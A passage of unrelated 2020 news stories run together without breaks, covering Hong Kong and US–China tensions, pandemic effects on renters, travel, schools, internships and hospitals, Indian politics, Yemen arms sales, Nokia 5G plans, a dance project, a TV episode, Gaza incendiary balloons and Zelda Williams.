restrictions to include people outside the Chinese central and Hong Kong government who condone or provide material support to the ending of 'one country, two systems,'" Kennedy said in an email. Banks are going to be more cautious in that they're not going to seek out different kinds of businesses as they were going to before. It's a pretty clear-cut development that didn't come out of the blue, so it's a not big surprise. John Marrett The Economist Intelligence Unit US Secretary of State Mike Pompeo says latest move shows Beijing unlikely to change its position on the financial hub. US Secretary of State Mike Pompeo has denounced China for the arrest of Hong Kong media tycoon Jimmy Lai, who he called a patriot, and said the move indicated that Beijing is unlikely to change its position on the financial hub. Lais arrest under a sweeping new security law comes amid Beijings crackdown against pro-democracy opposition in the city and further stokes concerns about media and other freedoms promised when it returned to China in 1997. China imposed the law on Hong Kong on June 30, drawing condemnation from Western countries. Lai was nothing more than a patriot who wanted good things for the people of Hong Kong, Pompeo told the Conservative Political Action Conference. Im not optimistic given what we saw this morning that theyre going to change what theyre doing, he added, referring to the Chinese government. Aside from Lai, two of his sides were also arrested, as well as a freelance television producer and a member of the pro-democracy movement, Agnes Chow. Lais media company, including his newspaper, Apple Daily, was also raided. Tensions between the worlds top two economies have been increasing daily. Later on Monday, Pompeo took a fresh swipe at Chinese-owned video-sharing app TikTok, repeating that it presented a national security threat to Americans due to what he said was the obligation of all such companies to the Chinese Communist Party. The United States is aware that these companies are being used for Chinas national security purposes, Pompeo said in an interview on Newsmax, without offering concrete evidence of such use. President Donald Trump has unveiled sweeping bans on US transactions with the Chinese owners of TikTok and messaging app WeChat. Pompeo said the US would take action to ensure that Hong Kong is treated as an extension of China after Beijing passed its national security legislation in June, prompting Washington to end the territorys special status. He said he feared that Hong Kong might have had its last democratic election, in an apparent reference to 2019s lower-level district council elections. Hong Kong leader Carrie Lam last month postponed a September 6 election for seats in the city legislature for a year because of a spike in novel coronavirus cases. The US said it was the latest example of Beijing undermining democracy in the territory. Since then, Lam and several Hong Kong officials have been targeted with US sanctions. In response, China slapped sanctions against US officials, including two senators: Marco Rubio and Ted Cruz. The coronavirus pandemic has exposed a disparity in America's rental housing that threatens to get even wider. While landlords at the priciest, amenity-rich apartments have collected most of their rent payments during the pandemic, owners of older, less fancy units - the backbone of the nation's affordable housing supply - have not fared as well. Tenants at so-called Class C buildings paid 54% of total rents due in June by the middle of the month, according to a study by LeaseLock. In July, even with emergency unemployment relief still flowing, the figure slipped to 37%. The decline highlights how hard the lockdown has squeezed the country's lower- and middle-income renters, who are more likely to live in Class C housing and have service jobs that have been severely cut back by social-distancing rules. Further erosion in those rent payments would endanger America's affordable housing supply and put mom-and-pop landlords at the biggest risk of mortgage default. Should their buildings go into foreclosure, the buyers may not keep them affordable, or even as rentals, said Robert Pinnegar, chief executive officer of the National Apartment Association, a landlord advocacy group. High construction costs make adding any new supply unlikely. "If we lose this product through the crisis, we're never going to be able to build it again," Pinnegar said. "We risk making the affordability crisis much worse on the other side." Near Denver, Debi Stobie and her husband own a 24-unit building that's their only source of income. It's not a fancy place - some of the apartments still have vinyl floors and 1970s-era kitchen cabinetry, while others got some modern upgrades from Ikea. The units, mostly one-bedrooms with 700 square feet of space, rent for $1,100. That's less than the $1,220 monthly median for apartments of the same size in Lakewood, where the building is located, according to data from Zumper. Tenants include medical-office workers, ride-hail drivers and bartenders - all jobs that have been scaled back during the pandemic. "Our governor is playing yo-yo with the businesses," Stobie said. "Now bars are closing at 10, and one of our tenants was affected, because it cuts out four hours of work." So far, the financial impact has been minimal, requiring some belt-tightening on groceries, said Stobie, who's in her 60s. But she worries that if enough tenants skip payments, it may become impossible to cover fixed costs, such as the mortgage and property taxes. "There's a break-even point, and then there's a losing-money point," she said. - - - The biggest publicly traded landlords, with extensive holdings of market-rate apartments, have been spared the brunt of the economic shutdown. Equity Residential - an owner of luxury towers in Los Angeles, New York and San Francisco - described its tenants as office-based professionals who were fully employed during the lockdown, working from home. The company said it collected 97% of its rents in the second quarter and was on course for a similar rate in July. AvalonBay Communities cited 96% a payment rate for May and June. Older buildings, traditionally a reliable source of affordable housing, have been meeting less of that need in the past decade. Many were taken offline for extensive renovations, then returned to the market at higher rents, according to a 2018 study by Apartment List. Properties from the 1970s and '80s - the country's biggest surge in multifamily construction - are prime targets for redevelopment. The 7.5 million units categorized as Class C account for about 35% of the U.S. rental supply, the National Apartment Association estimates. "If you're going to see foreclosures and distressed sales," Pinnegar said, "this is were it will be." Jet2 Holidays has cancelled trips to Cyprus for the first half of August. The travel firm took the decision because of the demand from the island's government that arrivals from the UK have a certificate confirming a negative test for coronavirus at least 72 hours earlier. These must be obtained privately, at a typical cost of 150. A spokesperson for Jet2 said: Because of prohibitive entry restrictions into Cyprus, we have no choice but to suspend flights and holidays to Larnaca and Paphos up to and including 16 August. We continue to urge the Cypriot authorities to review the entry criteria in line with other destinations, so that our customers can enjoy their well-deserved holidays. Travellers whose holidays are cancelled can claim a full refund, or can choose an alternative trip. The company said: we will be contacting customers to discuss these options. For customers who are due to travel to Cyprus from 17 August onwards, we are continuing to liaise with the authorities in Cyprus and we will provide further updates in due course. Cyprus divides arriving travellers into three categories: A, B and C. The UK is currently on the C list. The Foreign Office says: You cannot enter Cyprus if you have been in the UK in the last 14 days." Holiday companies have cancelled all trips to the end of July. On Saturday 1 August, the UK will move from Category C to B, joining France, Italy and Spain. However, the Cypriot government insists every traveller must have tested negative for coronavirus ahead of flying to the islands. Travellers are told: Passengers coming from Category B countries will be required to have undertaken a laboratory test at least 72 hours prior to departure and to possess a certificate showing negative PCR examination for the virus. According to the Foreign Office, the test results can be in the form of an email or text message, but must include the date and time when the test was taken and state the type of test which should be PCR. People who have spent the previous two weeks only in A countries which include Germany, Greece, Ireland and Switzerland can enter freely. To add to the confusion, the Foreign Office insists the test must be obtained within 72 hours before travel contradicting the Cypriot stipulation of at least 72 hours prior to departure. The Independent is urgently seeking clarification from the Foreign Office and the Cypriot authorities on which version is correct. The hope in the travel industry is that British holidaymakers will soon be able to take a test on arrival, costing 60 (54) though travellers will be required to self-isolate until they receive the result of the test. Antonio Banderas skipped a charity gala which he was supposed to host on Sunday in Marbella on southern Spain's Costa del Sol Spanish actor Antonio Banderas announced on his 60th birthday on Monday that he was in quarantine after testing positive for the coronavirus but was feeling "relatively well". "I am forced to celebrate my 60th birthday in quarantine after having tested positive for the COVID-19 disease," Banderas, known for roles in such films as The Mask of Zorro and Philadelphia, said in a statement posted on social media which was accompanied with a black and white photo of himself as a baby. "I'm feeling relatively well, just a bit more tired than usual, and confident that I will recover as soon as possible," he added. "I will take advantage of this isolation to read, write, rest and continue making plans to start giving meaning to my recently completed 60 years, to which I arrive full of desire and enthusiasm." Banderas, who suffered a heart attack in 2017 in Britain where he has a home, did not say where he was staying. He skipped a charity gala which he was supposed to host on Sunday in Marbella on southern Spain's Costa del Sol, not far from his hometown of Malaga. The actor in January received his first Oscar nomination for his role in Spanish director Pedro Almodovar's Pain and Glory in which he plays a film director in decline who reflects on his life. In the in the end the award for best actor in a leading role went to Hollywood actor Joaquin Phoenix. Check out his post (With inputs from Agence France-Presse) The Montgomery Independent School District is ready to begin a new school year during the novel coronavirus pandemic with a new superintendent. Heath Morrison chose to leave the private sector and return to public education before a new world dawned in the United States. But theres nothing about COVID-19s challenges that has him rethinking his decision now. I believe that leadership is service, Morrison said. As leaders you dont get to choose the challenges you face, you just get to choose how you face them. Coming into Montgomery, it is a strong school district, an excellent board, a community that supports its education and its teachers, so there are all of the ingredients for us to figure out how to educate kids exceptionally well even with all of the challenges that we are going to presented with a global pandemic. Nothing easy about it Theres nothing easy about it, he continued. Its complex, but it just feels like this is where I need to be, and I am thrilled to be here. Morrison and the boards short and long term priorities focus on reopening, safety of students and staff, balancing the budget, better teacher compensation, and becoming the premiere school district in Texas. The day before Montgomery ISD officially named Morrison as its new leader, Montgomery County public health authorities sent a letter of advisement on July 20 recommended postponing in-person instruction until no earlier than Sept. 8 to open safely and reduce risk of closure again. The health department is expected to reevaluate and advise options for schools on Aug. 25. Reopening plan The districts reopening plan that is similar to other school districts in that it will begin remotely with classes online from Aug. 13 through Sept 4 and will have certain health and safety protocols, including masks, screenings, and sanitization when students return to class. However, Montgomery ISD plans to welcome back some student groups sooner. Some faculty students may return with parents for remote learning. The district plans to allow some student groups back with a phased reopening starting on Aug. 17, including for prekindergarten, kindergarten, students receiving special education services through an alternate curriculum and having dyslexia who are close to completing the program, and students without internet access. A survey is expected to be sent out on Aug. 19 for the preferred method of instruction. After Sept. 8, parents may choose between remote or traditional, in-person learning. The school officials estimated the district ended the 2019-20 school year with an enrollment of about 9,134 students. But Morrison said the question remains across the United States about what enrollment will look like with COVID as its unclear as to how many parents may choose to home school or enroll in private or charter schools or who may return. The district is discussing some logistics, including bus transportation. Keeping connected School officials, who approved a $500,000 purchase and interlocal agreement for devices and hot spots, reported during a special meeting that over 300 students surveyed do not have Internet access, 2,000 surveys were not received, and 81 percent of those surveyed want schools to reopen as soon as possible for in-person instruction. MISD Teacher, April Hagen, felt it was in the best interest of the students to reopen. In my heart of hearts do not believe that we can give the same education to student virtually as we can give the same education to students virtually as we can face to face even if it is with a mask, a shield, or socially distanced, Hagen said. Those kids need to see my face, they need to hear my voice, they need to know I love them, and I care about them, Im invested in them, and I cant communicate that as effectively virtually as I can when I am standing in the same room with a student. Those kids need that, they need teachers and Montgomery is full of teachers that feel that way, she continued. I believe we need to be in the presence of the student to best communicate to them and best educate them. Morrison shared concern for how the pandemics disruption can have an impact on a students learning. He advised students, especially male students who may feel they need to handle things on their own, to ask for help, bring their best to school every day, and to understand that school is a community that cares for them. Since taking on his role, Morrison has connected with nearly 190 community leaders and is in communication with teachers, principals, cafeteria workers, transportation workers as they continue to develop flexible plans with a commitment to the students success. He said the district will learn as it goes along and is not too proud to quickly provide a better plan as it listens to the community and new guidance, including the directions from the Texas Education Agency which changed about two hours before the reopening plan presentation for last weeks meeting. Like a lot of folks, everybody has a boss, so when a certain authority says this is what you need to do, we will pivot, Morrison said. We will gear on over communication but just flexibility and adaptability will be kind of our mantra for this year and excellence. mellsworth@hcnonline.com Soon after his patch-up talks with senior Congress leaders, former Rajasthan deputy chief minister Sachin Pilot said he has never hankered after posts and his was a fight for principles. Pilot, who made his first public appearance since he revolted against Rajasthan Chief Minister Ashok Gehlot a month ago, told reporters that he and the other MLAs raised organisational issues, the case of sedition filed by the SOG and the style of governance in the state, and expressed the hope that these will be addressed soon. He was speaking after the rebel Congress MLAs met party leader Priyanka Gandhi Vadra and K C Venugopal and aired their grievances. The MLAs said the issues raised were in the party's interests. "We raised issues of principles before the Congress leadership and welcome their assurance of time-bound redressal of our grievances," Pilot told reporters. "I don't crave for any post or hanker after any position. The party has given a position and can take it back. I wanted that the respect be maintained and those who have worked hard in the formation of Congress government in Rajasthan be rewarded accordingly," the former deputy chief minister said. Pilot said he has worked hard for bringing the Congress to power in Rajasthan and hoped the party would fulfil its promises made to the people. Late Monday night, he tweeted, "I thank Smt Sonia Ji, @RahulGandhi Ji, @priyankagandhi Ji & @INCIndia leaders for noting & addressing our grievances.I stand firm in my belief & will continue working for a better India, to deliver on promises made to the people of Rajasthan & protect democratic values we cherish." After the meeting, AICC general secretary K C Venugopal said, "The Congress will go forward unitedly by mutually respecting each other and resolving concerns raised". Pilot said some personal remarks have been made against him, but he has never used such language that hurts anyone. "I feel there is no place for personal mudslinging in politics," he said. The young Congress leader said all this while he did not respond to any personal remarks made against him and maintained dignity. "We raised organisational issues, the case of sedition filed by the state SOG, the style of functioning and governance in Rajasthan," Pilot said. "I raised my experiences of 1.5 years to the party leadership and said whatever was in the party's interest," he said. Prior to the meeting, a three-member Committee was formed by Congress president Sonia Gandhi to address the grievances. Sources said Priyanka Gandhi, Ahmed Patel and K C Venugopal will be part of this Committee. NEW YORKAs someone who dreams of a career in the music business, Amanda Montgomery had big plans for her summer internshipworking in studios, going on shoots for music videos, maybe taking in some live concerts. Because of COVID-19, her internship is looking a little different: Stuck in her Boston apartment in sweatpants. Welcome to the New Normal, circa 2020. While many employers have scrapped internships altogether, the Berklee College of Music student snared one with NYC-based CAD Management, which handles a roster of artists and helps them with branding and marketing. But its virtual, not in-personand that takes some getting used to. Remote working isnt for everyone, and its definitely not what I thought was going to happen this summer, Montgomery, 20, says. Im still gaining a ton of knowledge and experienceits just very different. Indeed, while her days arent spent in a 9-to-5 office environment, they look very familiar to anyone who works on a freelance basis. Lots of calls, emails, and Google meetings, with project-based assignments that she completes at her own pace. One recent task, for instance: Promoting songstress Melanie Iglesias and her new release, Mr. Magoo. In a recent survey, careers community Handshake found that 60 percent of companies are offering virtual internships. But it isnt just interns who are having to adjust their career path. Companies are having to throw out their old playbooks, too. Take brokerage giant Charles Schwab, which has a full slate of summer interns, 232 across the whole company. While the firm kept its commitments to every one, instead of ditching the program altogether, it has meant designing a new experience from scratch. A few of the items on Schwabs internship menu: Interacting with assigned mentors, participating in executive meet-and-greets, doing personal financial planning, and even arranging virtual volunteer events with Boys & Girls Clubs on the subject of financial literacy. Most of those interns will return in the fall for their senior year of college, while some graduating students will stay on for full-time work. Elizabeth King, Schwabs senior vice president of enterprise learning and talent management who oversees the internship programs, expects to learn a few key lessons herself after the nine-week program concludes. This is all a massive social experiment, King says. And by the end of it, we should know a whole lot more about how to engage employees and clients virtually. While this new landscape of virtual internships may not be ideal, you can still embrace the challenge and maximize the opportunity. Some tips for making the most from this strange internship summer: Set Up a Professional Workspace We may all be cooped up in our homes, but you still need to carve out a professional-looking space, because that image will be projected out countless times over the summer. Tidy up your bookshelves, add a low-maintenance plant, and consider putting a ring light near your webcam so that you do not look like a ghost on video calls. You are letting your work world into your private space, so the reality is you have to maintain a level of professionalism, and sit up straight and pay attention, advises Brea Giffin, marketing director for corporate wellness platform Sprout. Maintain Focus For those not accustomed to working in a home environment, one major challenge is the temptation all around you. Your snacks are in the fridge, your favorite shows are on the DVR, and your bed is calling you for a nap. That in mind, you need to develop a laser-like focus on the tasks that need to be done. Its important to carve out dedicated time to meaningfully complete the work, rather than just doing the work piecemeal between other tasks, says Handshake co-founder and CEO Garrett Lord. Make Time to Recharge One interesting thing King has witnessed, with most Schwab employees working from home the past couple of months: Video events can be even more draining than in-person interaction, especially for introverts. Back-to-back video meetings take a lot of energy, and many people find it very tiring, she says. So make sure to give yourself enough time throughout the day to take breaks and unwind. By Chris Taylor Julys hottest-selling books tell readers that even if they cant solve the nations woes, they can look to God and to loved ones, face relationship problems and always find comfort and inspiration in faith. Michael Todds Relationship Goals: How to Win at Dating, Marriage, and Sex has been #1 since May while Jennie Allens Get Out of Your Head continues as #2. Both are from WaterBrook. Laura Barker, v-p and publisher for WaterBrook and Multnomah says even before the pandemic, Allen had tapped into "a key concern for many people: the challenge of dealing in a healthy way with toxic, spiraling thoughts. The uncertainty and fear around COVID-19, and the turbulence of 2020 overall, has made that challenge even more evident. And Todds book, based on a sermon series observed by more than 53 million viewers, arrived at a time of heightened need. Barker says, the quarantine, with its vast impact on our personal interactions, surfaced a hunger among readers to approach their relationships from a new perspective. The Random House imprint also has a new-to-the-top-ten title reflecting concern with one of the most challenging issues today, the search for racial justice and peace. Latasha Morrisons Be the Bridge: Pursuing Gods Heart for Reconciliation is #6. Morrison, a diversity expert, trainer and speaker who calls herself a unity champion, has been focused in particular with Christian audiences through Be the Bridge, the organization she founded to train leaders and reconcile communities within the church. Since Morrisons book was released in October, the demand for its lessons in faith-centric hope, healing and lasting change, has intensified, sparking a significant jump in sales. Barker says, Both within the church and beyond, we are hearing a renewed passion for justice in the wake of the violent deaths of George Floyd, Breonna Taylor, Ahmaud Arbery, and others. Lysa Terkeursts Its Not Supposed to Be This Way a title like a cry for help came out nearly two years ago. But the book, from Thomas Nelson, returned to the religion nonfiction bestseller list in July. With its subtitles promise Finding unexpected strength when disappointments leave you shattered, the #4 book on the list rings a note of encouragement. Jemar Tisbys #10 title, The Color of Compromise: The Truth About The American Churchs Complicity in Racism (Zondervan) prompts readers to examine Christian institutional history from a Black perspective. Favorites of long standing fill out the Top Ten: #3 The Prayer Journal for Women (PCG) by Shannon Roberts; #5 Jesus Calling (Thomas Nelson) by Sarah Young; #7 Rachel Hollis Girl Wash Your Face (Thomas Nelson); #8 The Road Back to You by Ian Morgan (IVP) and #9 Boundaries Updated and Expanded by Henry Cloud (Zondervan). Authors of titles dating back a decade or more rule Julys fiction list. Just two 2020-published novels made inroads. At #5 is The Wartime Sisters (St. Martins) by Lynda Cohen Loigman. Released in March, the novel delves into secrets, pain and forgiveness in the lives of two sisters during World War II. Dani Pettrey brings her romantic suspense touch to #9, The Crushing Depths (Bethany), released in June. Francine Rivers, as almost always, stands at #1 with Redeeming Love (Multnomah), #5 The Masterpiece and #10 A Lineage of Grace (both from Tyndale). William P. Youngs The Shack (Windblown Media) remains parked mid-list at #6 and C.S. Lewis' The Great Divorce (HarperOne) is #7. Jonathan Cahn has two Top 10 spots with The Oracle at #3 and The Harbinger (both with Frontline) at #8. That book, Cahns first, was published in 2012 and propelled him onto bestseller lists with a mix of mystery and prophecy. Related Egypt urges citizens to adhere to preventive measures in anticipation of a rise in coronavirus cases Egypts coronavirus isolation hospitals are set to reopen this week in anticipation of a possible second wave of COVID-19, which could possibly hit the country harder than the first wave, manager of Al-Nagila hospital Mohamed Taleb told DMC TV on Sunday. Minister of Health Hala Zayed has held a meeting with fever hospital managers and told them to be prepared for a surge in coronavirus cases, Taleb said. Taleb said that Al-Nagila Hospital returned to operating as a coronavirus isolation facility three days ago, and that there is currently a moderate number of coronavirus patients receiving treatment at the hospital. Al-Nagila Hospital, which is located in Marsa Matrouh governorate, was the first hospital to be assigned as a coronavirus quarantine facility in Egypt in mid-February when the first case was reported in the country. Health Minister Hala Zayed held a meeting via video conference with the managers of fever hospitals across the country on Sunday to check on the work in the hospitals, the Health Ministry said on Monday. During the meeting, Zayed praised the efforts of the medical teams in fighting coronavirus. Last week, Dr Jihan Assal, the deputy chairman of the scientific committee formed to fight coronavirus, announced that isolation hospitals had been closed due to the decline in the number of cases over the past three weeks. Egypt has recorded 95,492 cases of coronavirus including 52,678 fully recovered patients and 5,009 fatalities. Search Keywords: Short link: The statement from the State Department spokeswoman, Morgan Ortagus, was an unusual effort by the agency to characterize the report for the public before its release. A department official also held a telephone briefing with reporters around 5 p.m. as part of the effort to provide the agencys perspective on the report. Journalists on the call asked repeatedly for the official, who spoke on the condition of anonymity, to release the report so they could write about it with full accuracy, but the official declined to do so. The official did say the report recommended that the U.S. government take more measures to reduce civilian casualties in relation to the use of the arms by the Gulf Arab nations, the issue at the heart of bipartisan opposition in Congress and among human rights advocates to the exports. The official said the government had been trying to make greater efforts to achieve that. On Monday night, Representative Eliot L. Engel, Democrat of New York and the chairman of the House Foreign Affairs Committee, criticized the State Departments actions, saying, This obvious pre-spin of the findings reeks of an attempt to distract and mislead. He named the official doing the briefing, R. Clarke Cooper, assistant secretary of state for political-military affairs. Saudi Arabia has been leading an air war in Yemen that has resulted in what the United Nations has called the worst humanitarian disaster in the world. American-made munitions, particularly from Raytheon, have helped kill thousands of civilians, many of them women and children. The United Arab Emirates played a central role in the Saudi-led coalition, but has drawn down its presence recently. Beginning in 2017, as reports of civilian casualties became more widespread, lawmakers from both parties put a freeze on further exports of arms to the Gulf Arab nations, citing urgent humanitarian concerns. They continued that hold throughout 2018, and their fury at Saudi Arabia increased after the gruesome killing that fall by Saudi agents of Jamal Khashoggi, a Saudi columnist for The Washington Post who was a Virginia resident. Nokia maker HMD Global has a new goal to make 5G more accessible worldwide, starting with the US. Thats based on details reportedly provided by the company during a Series A2 funding round. The goal, according to the company, is to emphasize forming strong partnerships with US carriers. And to utilize funds gained during the $230 million round to accomplish that. Of course, the company isnt necessarily looking to flagships or upper-tier mid-rangers either. HMD seems to be focusing on a similar aggressive expansion as was seen in the first series of funding. At least in terms of Nokia smartphones on offer. Now, HMDs Nokia brand appears set to do the same but explicitly for 5G support in the US. Aside from US 5G, what are Nokias other goals from this round of funding? Now, the funding itself has not been detailed to a great extent. More succinctly, the funds have been injected by top global partners that havent been specified. But thats not altogether surprising since ambitions for the Nokia brands 5G offerings outside of the US. Advertisement Aside from forming firm partnerships to deliver more accessible smartphones for US 5G providers, the company has big plans globally. First and foremost, it plans to work with the above-mentioned partners to move away from physical-first offerings. HMD indicated that the move is largely motivated by the ongoing global health situation. So its likely to be talking about offerings that are sold digitally rather than in person as a primary delivery mechanism. HMD also wants to focus more efforts on key growth markets. Its list of regions includes Brazil, Africa, and India, hinting at a goal to make 5G a readily-available standard for end-users worldwide. Including in still-developing regions. Advertisement So what devices can we expect from Nokia? Since a key focal point for HMDs Nokia is accessibility, its arguable that the devices its discussing arent its flagships. So it likely isnt talking about the upcoming Nokia 9.3 PureView. Or even its upper-level mid-range offerings such as the Nokia 8.3 5G. Instead, HMD probably hopes to start with devices in its 7-series range. Both Samsung and LG have already broached the market for 5G in the mid-range tier. So the company could choose to start even more aggressively with more budget-friendly devices. That could potentially include even more affordable devices such as the upcoming Nokia 2.4. Dancer and choreographer Ahn Eun-me, top left, holds an online workshop for "1 Minute 59 Seconds Around the World." Courtesy of Eun Me Ahn Company By Kwon Mee-yoo Dancer and choreographer Ahn Eun-me moved her work online after the "interruption" caused by the COVID-19 pandemic. In her latest project "1 Minute 59 Seconds Around the World," Ahn attempts to connect the world with an online dance workshop. Ahn was in France preparing for a three-month touring production in Europe when COVID-19 hit earlier this year. She cancelled the tour for the safety of her troupe and returned to Korea as the future of her projects became uncertain due to the pandemic. Eager to continue with her work, Ahn collaborated on a new online project with 40 creative people around the world. "In the post COVID-19 era, the traditional education system has expanded to include online platforms, opening up new possibilities," she said. "COVID-19 has separated people as they are asked to observe two meters of social distancing. However, '1 Minute 59 Seconds Around the World' has proven that people can communicate with each other even if they are thousands of kilometers away." The original "1 Minute 59 Seconds" was premiered in 2014, drawing inspirations from Andy Warhol's "15 Minutes of Fame." Each participant comes up with their own piece of choreography lasting 1 minute and 59 seconds and presents it on stage. The participants communicate and influence each other, producing new performances each time. While the original production accepted participants from the country in which it was performed and they gathered in person for the workshop, the online edition has recruited participants from across the globe and all communicated through video conferencing platform Zoom. Ahn recruited a mix of amateur performers and total beginners over the age of 16, who were ready to invest "both seriously and crazily." Forty participants from over 10 countries including the United States, France, Brazil and the Czech Republic were selected and went through 15 online lectures and workshop sessions with Ahn and in small groups. Each participant's 1 minute and 59 seconds resulted in an 80 minute video, which premiered at the Yeongdeungpo Art Hall in Seoul, July 31, accompanied by a live performance of the Eun Me Ahn Company, and was made available online on Ahn's YouTube channel, Friday. The project is offered with the Seoul Foundation for Arts and Culture's COVID-19 Emergency Art Support program. Ahn made her debut with "Paper Steps" and founded the Eun Me Ahn Company in 1988. She is noted for working with dancers from all ages and backgrounds as well as trained dancers she created "Dancing Grandmothers" with elderly women, "Daeshim Dance" with those who suffer from dwarfism and "Ahnsim Dance" with the visually impaired. Ahn was an associated artist of Theatre de la Ville in Paris, France for its 2018-2019 season. In 2018, Ahn explored the iconic dances of North Korea such as military parades and fan dances in "North Korea Dance." Last year, Ahn celebrated her 30-year career through the exhibition "Known Future" at the Seoul Metropolitan Museum of Art. Supernanny USA viewers broke down in tears after a struggling mother who suffers with anxiety opened up about the loss of her baby at 24 weeks pregnant - before admitting she's scared she'll one day lose her firefighter husband too - due to his dangerous job, In last night's episode of the E4 show, Jo Frost helped the Ostlers, who were struggling with two rowdy boys Jax, six, and Kaydin, four, while also grieving the loss of their first child. But mother Nicole revealed how Dane's job as a firefighter doesn't help with her anxiety and often meant she was left on her own looking after the boys. 'I need things to change so I don't have those fears of losing something again,' she explained. I could lose my husband at any time because he's got a really dangerous job. I just feel like I could lose anything, really - because so much has been taken.' And following the heartbreaking scene, teary viewers were quick to take to Twitter to brand the episode both 'emotional' and 'relatable.' In last night's episode of Supernanny US, struggling mother Nicole (pictured) broke down in tears after opening up about the loss of her baby at 24 weeks pregnant Jo Frost helped the Ostlers, who were struggling with two rowdy boys Jax, six, and Kaydin, four (pictured, with mother Nicole), while also grieving the loss of their first child Taking to Twitter, one person penned: 'I had to bite my lip. Tears in my eyes. I felt what Nicole said' (pictured) During the episode, Nicole explained: 'Jax is such a loving kid but he doesn't know how to control his emotions.' 'Kaydin is our little goofball. He beats to his own drum. He's very, very independent, and I'm just like a ghost who cleans their house and cooks the dinner all the time.' Meanwhile, Dane admitted: 'Part of our problem is that I'm not around a lot. I'm gone about 75% of the time,' to which Nicole continued: 'Dane comes and goes, so we don't know when he's going to be here. When he's gone I'm not only a full-time mom, I do billing for a care practice office, I work all hours of he night. I just feel like a single parent. 'It's a lot of pressure and stress and anything else that goes on my shoulders. I struggle with discipline all round. We've tried everything with these guys but it doesn't seem to really work. 'All the fighting, yelling, screaming and kicking and no one is listening. It's like a constant battle.' Nicole revealed how Dane's job as a firefighter doesn't help with her anxiety and often means she's left on her own looking after the boys. Pictured, together The struggling mother broke down in tears (pictured), before revealing her fears that she may one day lose her husband due to his dangerous job One person who tuned in wrote: 'Loved this one Jo. What powerful tools you have lent to this mum' (pictured) And when Supernanny spotted a picture of a baby on the wall, Nicole broke down in tears and explained: 'I was 24 weeks and four days and just went into early labor. I had placenta previa (which occurs when a baby's placenta partially or totally covers the mother's cervix). He was alive for about two hours.' Turning to the camera, Jo commented: 'Living with the grief of losing a child, I can't even imagine. And with her husband, whose career is to put out really dangerous fires, you can totally understand why Nicole would feel so much anxiety every day,' The expert then sat down for a conversation with Nicole on how to help her try and move forward. 'You spoke about loss from losing a young child,' she explained. 'I would like you to go to therapy. You can talk to them about the depth of trauma you had. 'But while I'm here, I'd also like to take a look at the things to do to decrease your anxiety as well.' And when Jo asked what else she could change apart from being more assertive with her children, Nicole emotionally replied: 'Start being OK with who I am.' Taking to Twitter, one person penned: 'Mother looked exhausted and I really felt for her. It was clear she adored her boys but was so tired. Such hard circumstances as well and just ended up stuck in a cycle' (pictured) Many viewers took to social media to express how they really felt for the brave mother. 'Sobbing! Mother looked exhausted and I really felt for her. It was clear she adored her boys but was so tired. Such hard circumstances as well and just ended up stuck in a cycle,' wrote one, while a second penned: 'Loved this one Jo. What powerful tools your have lent to this mum. Having a husband away and two little boys she forgets she always had strength inside herself.' A third added: So relatable! It was like watching myself on to happy you helped this family on TV. You are amazing! Xxx' Meanwhile, others praised how Supernanny showed how the whole family changed, rather than just the children. 'I absolutely love the way you show how the whole family change,' wrote one. 'This one was such an emotional episode and it was so great the very simple changes you helped Nicole realise she could be an amazing mommy to those lovely boys!! Great series! Loving it.' A further added: 'I'm liking how you are helping the whole family. Other series have focused on the children but this series seems a lot more focused on the parents. Just shows how their emotions and anxieties play a part with how the children behave and how it can affect a family so much.' Public health expert Dr Gabriel Scally has said that the economic consequences of continuing on with the rollercoaster ride of up and down Covid-19 figures could be really difficult and the best way of avoiding them was to get the number of cases down to zero. The number of cases of the virus in Ireland recently was "disturbing", he told Newstalks Pat Kenny Show, but clusters could be dealt with and he was an advocate for a Zero Covid approach across the island. There's always more to be done until the virus is eliminated, he added. I think the numbers are disturbing - when I hear a report on the radio that the level per population is higher in the Republic of Ireland than in the United Kingdom, I worry." It was reported yesterday that Ireland's incidence of cases per 100,000 people over the past 14 days is now higher than the UK, at 18.5. Dr Scally said: "When you know it is consisting of substantial clusters, there is less worry because those clusters can be dealt with. He said that clearly the issue of clusters in food processing plants needed to be sorted out and this might require special measures. The key thing really is to get the testing, tracing and case-finding down to a fine art. You cant go hard enough after this virus. Dr Scally pointed to issues around people isolating as one issue that might need to be addressed - in particular ensuring people have the ability to isolate if they need to. He said: A small number of people are not very keen on coming forward for testing, because they know if they test positive they may have to stop working - and theyve got no means of supporting themselves, and maybe their families as well. The economic consequences of going on with this rollercoaster ride of up and down are really, really difficult: the best way of avoiding them is to get the virus down to zero, and put on strict public health controls at borders to make sure we dont import cases. Dr Scally said that if he was an employer he would do everything possible to help his staff avoid the virus in the first place. He also said that it was vital for children to get back to school. Kids getting safely back into schools safely is extraordinarily important, he added. Masked Palestinians prepare flammable objects before attaching them to balloons to be flown towards Israel, in Rafah in the southern Gaza Strip Israel will close its goods crossing with the Gaza Strip, authorities said Monday, after militants in the Hamas-run territory fired rockets into the Mediterranean and launched incendiary balloons towards the Jewish state. The Kerem Shalom crossing will be closed to all traffic except humanitarian equipment and fuel from Tuesday, COGAT, the defence ministry unit that oversees the crossings, said in a statement. The move comes in response to the "continued launching of incendiary balloons" from Gaza, it added. Israeli sources said late Monday that several balloons had landed in areas of southern Israel, without causing casualties. Explosives tied to balloons and kites first emerged as a weapon in Gaza during intense protests in 2018, when the devices drifted across the border daily, causing thousands of fires in Israeli farms and communities. In the past week, such balloons have been launched three times from Gaza into Israel, each time triggering retaliatory strikes against Hamas positions. Hamas also fired several rockets into the sea on Monday after repeated exchanges of fire with Israel in recent days, Palestinian security sources and eyewitnesses said. The rockets were a "message" to Israel to let it know that armed groups in Gaza will not "remain silent" in the face of an Israeli blockade and "aggression", a source close to Hamas told AFP. Hamas and Israel have fought three wars since 2008. Despite a truce last year, backed by the UN, Egypt and Qatar, the two sides clash sporadically with rockets, mortar fire or incendiary balloons. Palestinian analysts say fire from Gaza often aims to pressure Israel to give the green light for the transfer of Qatari financial aid into the strip. gl-az/ybl/rma/leg Zelda Williams opened up about why she would be absent on the anniversary of her father Robin Williams' death on Monday. The 31-year-old actress shared a text post on social media delving into the difficulty she had getting condolences from anonymous fans while marking her father's death. The filmmaker revealed that she would be taking a break from social media on August 11, the sixth anniversary of the Oscar winner's death by suicide. Recuperating: Zelda Williams, 31, revealed Monday on social media that she would be off social media on August 11 for the anniversary of her father Robin Williams' death; shown in July 2019 'Tomorrow is Dad's death anniversary,' Zelda began. 'As always, I will not be here.' 'It's hard for me on regular, good days to remain the person expected to graciously accept the world's need to share their memories of him and express their condolences for his loss,' she continued. The voice actress reiterated that she appreciated messages about her father, but said that 'some days it can 